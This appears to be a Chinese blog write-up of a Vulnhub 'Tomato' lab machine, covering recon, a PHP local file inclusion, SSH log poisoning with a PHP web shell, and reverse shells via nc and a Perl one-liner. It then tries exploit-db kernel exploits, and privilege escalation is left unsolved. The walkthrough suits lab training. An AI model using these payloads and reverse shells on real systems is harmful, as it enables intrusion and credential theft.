【每日打靶练习】Vulnhub靶机平台-tomato

0x00部署

Tomato靶机:下载地址
宿主机:kali2022
目标:获取root拿到flag文件

0x01信息收集

1.主机发现

$ sudo arp-scan -l
//因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip

2.端口扫描

//使用namp命令,-p-指定ip,查看哪些端口开放
$ sudo nmap -p- 靶机ip 
$ sudo nmap -sC -sV -O -p21,80,2211,8888 靶机ip
//-sC常见漏洞脚本扫描
//-sV开放端口服务/版本号
//-O操作系统探测

在这里插入图片描述
通过结果信息可知,http title名称,这里还给出了ssh-hostkey等信息。

3.信息收集(漏洞扫描)

$sudo nmap --script=vuln -p21,80,2211,8888 靶机ip

其结果除了低速率DOS外也没什么可利用信息
在这里插入图片描述

访问80页面:可以看到一张西红树图片,检查一下源码(没什么问题)
在这里插入图片描述

4.路径爬取

对80端口进行一下路径爬取,寻找隐藏信息

$ dirsearch -u http://ip
//没什么特别的结果,继续
$ dirsearch -u http://ip -f -e php,txt,html
//指定扩展名
$ dirsearch -u http://ip -w /usr/share/seclists/Discovery/web-content/common.txt
//指定字典进行爆破

在这里插入图片描述
这里得到了一个防止爬取的插件的页面,查看一下

5.源码分析

里面有很多目录,检查一下内容,在info.php中看到这是一个phpinfo的信息,查看源码得到一个注释:
在这里插入图片描述

<!-- </?php include $_GET['image']; -->

这个注释提醒我们这里可能存在文件包含漏洞
在这里插入图片描述

0x02漏洞渗透

1.文件包含

利用注释的提示,我们尝试包含以下本地/etc/passwd

image=/etc/passwd

在网页的下边找到包含内容,通过返回信息中的用户属性得到信息:root用户可以执行shell,下方的tomato用户也可以执行shell,继续。
在这里插入图片描述在这里插入图片描述
这里尝试包含/etc/shadow目录失败,如果存在文件包含就可以想到包含一句话木马,然后远程执行,但是在info页面发现并未开启远程包含–》更换思路
在这里插入图片描述
这里还要查看一下tomato用户的主目录下的ssh公钥是否可以包含

image=/home/tomato/.ssh/id_rsa

包含失败,这里未开放远程包含,同时本地包含文件无可再利用—》转换思路

2.写入日志

这里思路有三:
1.对ftp发起错误请求–写入日志–访问日志—查看写入的位置—对写入位置进行一句话木马,但是这里找不到ftp日志:1.权限问题,2.日志路径修改
2.web服务器写入日志
3.向ssh发起–写入–访问–若无配置,ssh默认登录信息或被存在放在系统信息身份认证日志中/var/log/auth.log–查看错误访问写入–一句户木马

$ ssh 22222@靶机ip -p 2211
//-p 指定一下port 

在这里插入图片描述
尝试ssh连接,这里使用错误的用户名和错误的密码,输入三次后,写入日志中,检查一下log,成功获取到日志信息,可通过修改ruser来进行注入

$ ssh '<?php echo system($_GET["cmd"]);?>'@ip -p port

刷新日志进行查看,发现注入未显示,证明注入成功,木马被作为代码执行,若显示则失败,代码木马作为文本执行。
在这里插入图片描述

反弹shell

查看一下nc存在否:(存在)

cmd=which nc
cmd=which perl
//查看一下perl环境有无,用来执行反弹shell脚本

在这里插入图片描述
利用nc来实现反弹shell
kali端:

$nc -nvlp 4444
//监听4444端口
---------------
包含:
cmd=nc kali的ip 4444 -e /bin/bash
//若成功,kali端会收到初始shell权限
//失败就换用反弹脚本:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.145.142:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

在这里插入图片描述
kali端收到侦听,执行指令发现当前用户可执行的指令很少,权限很少,通过查看系统使用工具来检查内核是否存在漏洞:
在这里插入图片描述
该工具:linux-exploit-suggester

3.内核漏洞枚举

下载该工具,并将其移动至主目录,更名为首字母缩写les.sh文件

$ cp /usr/share/linux-exploit-suggester/linux-exploit-suggester.sh .
$ mv linux-exploit-suggester.sh les.sh
$ nc kali的ip 4444 < les.sh -w 1 
//将工具les.sh通过nc发给靶机shell,-w表示一发送到就断开连接
//靶机端侦听,将收到的文件存入les.sh中
nc 4444 > les.sh
chmod +x les.sh
./les.sh

执行后的匹配到相应漏洞,选择可能性高的来试一下
在这里插入图片描述
kali靶机:

//搜索漏洞,根据提供路径放到当前目录下
$ searchsploit -p 40839
$ cp /usr/share/exploitdb/exploits/linux/local/40839.c .
$ gcc 40839.c -o exp
//这个执行不了,所以换一个
$ searchsploit -p 45010
$ cp /usr/share/exploitdb/exploits/linux/local/45010.c .
$ gcc 45010.c -o exp
$ nc kali的ip 4545 < exp -w 1 

推荐在目标靶机上进行gcc,但是如果目标靶机上没有c环境,则在宿主机上进行编译然后再通过nc传给靶机。

//靶机端侦听,将收到的文件存入les.sh中
nc 4545 > exp
chmod +x exp
./exp

本来到这里应该就可以提权了,但是我id后还是www-data用户,所以尝试了网上的方法,先将shell变成可交互式的:

python3 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
然后再运行漏洞文件,才发现刚才不能提权是缺少‘GLIBC_2.34’
解决一下,tomato靶机提权无效的问题:暂未解决

4.本地提权

id
  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值